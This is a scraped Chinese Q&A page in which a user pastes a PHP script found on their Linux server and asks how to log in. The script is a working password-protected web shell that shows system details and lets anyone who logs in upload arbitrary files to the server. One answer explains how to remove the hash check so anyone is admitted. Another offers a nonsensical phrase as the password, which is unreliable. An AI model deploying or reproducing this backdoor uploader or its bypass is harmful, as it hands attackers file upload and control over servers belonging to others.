需要正确的密码才能登录php [暂停]
Posted
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了需要正确的密码才能登录php [暂停]相关的知识,希望对你有一定的参考价值。
我在Linux服务器上有一个php脚本,我可以在浏览器上显示它,这个脚本告诉我必须输入密码才能登录(上传脚本)。这是PHP代码:
<?php
session_start();
if ($_SESSION["adm"]) {
echo '<b>Namesis<br><br>' . php_uname() . '<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if ($_POST['_upl'] == "Upload") {
if (@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) {
echo '<b>Upload Success !!!</b><br><br>';
} else {
echo '<b>Upload Fail !!!</b><br><br>';
}
}
}
if ($_POST["p"]) {
$p = $_POST["p"];
echo $pa = md5(sha1($p));
if ($pa == "683ce9b1d91af441dec18dad25584421") {
$_SESSION["adm"] = 1;
}
}
?>
<form action="" method="post">
<input type="text" name="p">
</form>
答案
如果您不知道密码,那么@ 04FS指出您无法反转哈希密码,因此您将不得不更改php文件。
删除if
if ($pa == "683ce9b1d91af441dec18dad25584421") { <--
$_SESSION["adm"] = 1;
}
只有
$_SESSION["adm"] = 1;
但是我不推荐这个。这是非常糟糕的事情,但有些东西告诉我你在做什么已经很糟糕了.....
另一答案
这可能是你的密码
他喂他185,他给了他水面包
以上是关于需要正确的密码才能登录php [暂停]的主要内容,如果未能解决你的问题,请参考以下文章